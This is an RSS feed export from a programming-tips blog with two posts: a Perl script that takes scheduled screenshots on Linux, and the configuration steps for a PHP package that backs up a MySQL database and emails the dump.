<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-2450838521860840569</atom:id><lastBuildDate>Fri, 01 Nov 2024 11:35:56 +0000</lastBuildDate><category>php</category><category>mySql</category><category>Javascript</category><category>checkbox</category><category>Joomla</category><category>auto complete</category><category>autocomplete</category><category>browser cache</category><category>c++</category><category>e-books</category><category>earthhour.in</category><category>erapost.net</category><category>file</category><category>interviews</category><category>linux</category><category>malware attack</category><category>mysql backup</category><category>perl</category><category>php5</category><category>phpclasses.org</category><category>tar</category><category>terminal</category><category>validation</category><title>thecoderinc</title><description>Tricks and Scripts for Coders</description><link>http://thecoderinc.blogspot.com/</link><managingEditor>noreply@blogger.com (Anish)</managingEditor><generator>Blogger</generator><openSearch:totalResults>19</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2450838521860840569.post-550893659590195138</guid><pubDate>Wed, 15 Sep 2010 01:18:00 +0000</pubDate><atom:updated>2010-09-15T06:50:39.722+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">linux</category><category domain="http://www.blogger.com/atom/ns#">perl</category><title>PERL Script for auto-generating Screenshots</title><description>&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: ARial, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;There is so many ways to generate screenshots on linux machine, like &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;ksnapshot&lt;span style=&quot;font-family: ARial, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
gnome-screenshot etc. There is one more command available &amp;nbsp;is &#39;&lt;span style=&quot;color: #00ae00;&quot;&gt;&lt;span style=&quot;font-family: ARial, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;import&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: ARial, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&#39;. It is used for capture some or all of an X server screen and save the image to a file in the system. Try this on your system. On Terminal try:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;background: none repeat scroll 0% 0% rgb(230, 230, 255); margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;span style=&quot;color: #00ae00;&quot;&gt;&lt;span style=&quot;font-family: ARial, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;background-attachment: scroll; background-clip: initial; background-color: #e6e6e6; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;&quot;&gt;$ import test.png&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: ARial, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;You can find that the mouse pointer changes to cross-hair. Draw a rectangle using your mouse, it will captured and saved it to your home directory named &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: ARial, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;test.png&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: ARial, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;. If you try this instead &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #00ae00;&quot;&gt;&lt;span style=&quot;font-family: ARial, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;import&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #00ae00;&quot;&gt;&lt;span style=&quot;font-family: ARial, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;root &lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #00ae00;&quot;&gt;&lt;span style=&quot;font-family: ARial, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;test.png&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: ARial, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
it will took all the screen and save automatically. From this I&amp;nbsp; &amp;nbsp;developed a perl script to schedule to get automatic screenshots. Here is the code.&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: none repeat scroll 0% 0% rgb(230, 230, 230); margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;span style=&quot;background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;#/usr/bin/perl&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;&quot;&gt;&lt;span style=&quot;color: #9966cc;&quot;&gt;use&lt;/span&gt; POSIX &lt;span style=&quot;color: magenta;&quot;&gt;qw(strftime)&lt;/span&gt;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #993366;&quot;&gt;my&lt;/span&gt; &lt;span style=&quot;color: #579d1c;&quot;&gt;$range&lt;/span&gt; = 600;&lt;br /&gt;
&lt;span style=&quot;background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;&quot;&gt;&lt;span style=&quot;color: #99284c;&quot;&gt;my&lt;/span&gt; &lt;span style=&quot;color: #00ae00;&quot;&gt;$dir&lt;/span&gt; = &#39;&lt;span style=&quot;color: magenta;&quot;&gt;/opt/screen-&#39;&lt;/span&gt;.strftime(&#39;&lt;span style=&quot;color: magenta;&quot;&gt;%d-%m-%Y&lt;/span&gt;&#39;, &lt;span style=&quot;color: #33a3a3;&quot;&gt;localtime&lt;/span&gt;);&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;&quot;&gt; &amp;nbsp; &lt;span style=&quot;color: #99284c;&quot;&gt;while&lt;/span&gt;(1) &amp;nbsp;{&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &lt;span style=&quot;background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;&quot;&gt;&lt;span style=&quot;color: #00ae00;&quot;&gt;$sleepr&lt;/span&gt; = &lt;span style=&quot;color: #33a3a3;&quot;&gt;rand&lt;/span&gt;(&lt;span style=&quot;color: #00ae00;&quot;&gt;$range&lt;/span&gt;);&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &lt;span style=&quot;background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;&quot;&gt;&lt;span style=&quot;color: #00ae00;&quot;&gt;$file&lt;/span&gt; = strftime(&#39;&lt;span style=&quot;color: magenta;&quot;&gt;%T&lt;/span&gt;&#39;, &lt;span style=&quot;color: #33a3a3;&quot;&gt;localtime&lt;/span&gt;);&lt;/span&gt;&lt;span style=&quot;background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;&quot;&gt;&lt;span style=&quot;color: #99284c;&quot;&gt;&amp;nbsp;&amp;nbsp; if&lt;/span&gt;(&lt;span style=&quot;color: #99284c;&quot;&gt;! -&lt;/span&gt;d&lt;span style=&quot;color: #00ae00;&quot;&gt; $dir&lt;/span&gt;) &amp;nbsp;{&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;&quot;&gt;&lt;span style=&quot;color: #33a3a3;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mkdir&lt;/span&gt; &lt;span style=&quot;color: #00ae00;&quot;&gt;$dir&lt;/span&gt;;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;&quot;&gt;}&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;&quot;&gt;&lt;span style=&quot;color: #00ae00;&quot;&gt;$command&lt;/span&gt; = &quot;&lt;span style=&quot;color: magenta;&quot;&gt;sleep&lt;/span&gt;&quot;.&lt;span style=&quot;color: #00ae00;&quot;&gt;$sleepr&lt;/span&gt;.&quot;&lt;span style=&quot;color: magenta;&quot;&gt;; import -window root&lt;/span&gt; &quot;.&lt;span style=&quot;color: #00ae00;&quot;&gt;$dir&lt;/span&gt;.&#39;/&#39;&lt;span style=&quot;color: #00ae00;&quot;&gt;.$file&lt;/span&gt;.&quot;_&quot;.&lt;span style=&quot;color: #00ae00;&quot;&gt;$sleepr&lt;/span&gt;.&quot;&lt;span style=&quot;color: magenta;&quot;&gt;.jpg&lt;/span&gt;&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;&quot;&gt;&lt;span style=&quot;color: #33a3a3;&quot;&gt;system&lt;/span&gt;(&lt;span style=&quot;color: #00ae00;&quot;&gt;$command&lt;/span&gt;);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: ARial, sans-serif;&quot;&gt;&lt;span style=&quot;background-attachment: scroll; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: 0% 0%; background-repeat: repeat repeat;&quot;&gt;Run the script, and minimize the terminal, it will generate a screenshot and store automatically within having a maximum delay of 10 minutes, $range represents the maximum time delay.&lt;/span&gt;&lt;/span&gt;</description><link>http://thecoderinc.blogspot.com/2010/09/perl-script-for-auto-generating.html</link><author>noreply@blogger.com (Anish)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2450838521860840569.post-3366906707483018594</guid><pubDate>Thu, 03 Dec 2009 13:00:00 +0000</pubDate><atom:updated>2009-12-03T18:30:40.462+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">mysql backup</category><category domain="http://www.blogger.com/atom/ns#">php</category><category domain="http://www.blogger.com/atom/ns#">php5</category><category domain="http://www.blogger.com/atom/ns#">phpclasses.org</category><title>Auto generated MySQL backup Using PHP</title><description>&lt;style type=&quot;text/css&quot;&gt;
 &lt;!--
  @page { margin: 2cm }
  P { margin-bottom: 0.21cm }
  A:link { so-language: zxx }
 --&gt;
 
&lt;/style&gt;  &lt;br /&gt;
&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;Many sites are using MySQL as database. It is a good practice that taking backup in regular intervals. My aim was to develop a package which deliver me  database backup files [ having extension .&lt;span style=&quot;color: red;&quot;&gt;sql&lt;/span&gt;] and mail me with the file as attachment.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;You can download&lt;span style=&quot;font-size: x-small;&quot;&gt;[ &lt;a href=&quot;http://www.phpclasses.org/browse/package/5808.html&quot; name=&quot;myeskuel PHP Package&quot; target=&quot;_blank&quot;&gt;link&lt;/a&gt; ]&lt;/span&gt; this package from phpclasses.org&lt;span style=&quot;font-size: x-small;&quot;&gt;[ &lt;a href=&quot;http://www.phpclasses.org/&quot; target=&quot;_blank&quot;&gt;link&lt;/a&gt; ]&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;This package, I named it as &lt;b&gt;myeskuel&lt;/b&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;. This package contains&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;1. ReadMe File : README.txt&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;2.  Class File  : mysql.class.inc&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;3.  Configuration File: config.php&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;4.  Invoking script : backup.php&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;&lt;b&gt;How To Configure This&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;All you need to give some details into the config.php file. The configuration is divided into 3 parts:&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;1. BackUp folder Configuration&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align=&quot;left&quot; lang=&quot;en-US&quot; style=&quot;-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-family: ARial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;$backUpFolder = &quot;backup&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;Please change the folder; iff you need to change the backup directory. It is better to give complete path. The line just below it tries to make the directory if not exosts and give global (0777) permission for access.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;2.  Database Configuration Details&lt;/span&gt; &lt;br /&gt;
&lt;/div&gt;&lt;ol start=&quot;2&quot;&gt;&lt;/ol&gt;&lt;div align=&quot;left&quot; lang=&quot;en-US&quot; style=&quot;-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-family: ARial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;$server[&#39;host&#39;] = &quot;localhost&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align=&quot;left&quot; lang=&quot;en-US&quot; style=&quot;-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-family: ARial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;$server[&#39;port&#39;] = &quot;&quot;; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align=&quot;left&quot; lang=&quot;en-US&quot; style=&quot;-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-family: ARial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;$server[&#39;user&#39;] = &quot;root&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align=&quot;left&quot; lang=&quot;en-US&quot; style=&quot;-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-family: ARial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;$server[&#39;pass&#39;] = &quot;pass&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align=&quot;left&quot; lang=&quot;en-US&quot; style=&quot;-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-family: ARial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;$server[&#39;database&#39;] = &quot;test_db&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;In this we need to give the details of the database: hostname, authenticated username,  its password and the name of database. Giving port number is not necessary, if you are not sure about leave that position blank; it will take the default port number[3306].&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;3. e-mail Configuration Details&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align=&quot;left&quot; lang=&quot;en-US&quot; style=&quot;-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-family: ARial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;$mailer[&quot;FromMail&quot;] = &quot;db_manager@yoursite.com&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align=&quot;left&quot; lang=&quot;en-US&quot; style=&quot;-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-family: ARial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;$mailer[&quot;ToMail&quot;] = &quot;developer@yoursite.com&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align=&quot;left&quot; lang=&quot;en-US&quot; style=&quot;-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-family: ARial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;$mailer[&quot;MailBody&quot;] = &quot;Message Body&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align=&quot;left&quot; lang=&quot;en-US&quot; style=&quot;-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-family: ARial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;$mailer[&quot;DAS&quot;] = false;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;Prerequisite for this facility is default php mail() support  for your server and supports sending generated emails [most of the sites are having these options]. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
